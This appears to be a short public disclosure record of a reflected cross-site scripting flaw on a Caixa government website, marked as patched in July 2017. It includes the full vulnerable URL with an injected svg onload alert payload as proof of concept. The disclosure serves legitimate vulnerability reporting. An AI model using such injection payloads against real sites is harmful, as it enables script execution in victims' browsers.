www8.caixa.gov.br XSS vulnerability

Vulnerable URL: http://www8.caixa.gov.br/siopiinternet/simulaOperacaoInternet.do?method=iniciarSimuladorCaixa=true=1=10.000,00&dataNascimentoProponente1;=01/01/1990=1919%22%3E%3Csvg%20onload%3Dalert%28%27OPENBUGBOUNTY%27%29%2f%2f Details: Description| Value ---|--- Patched:| Yes, at 28.07.2017...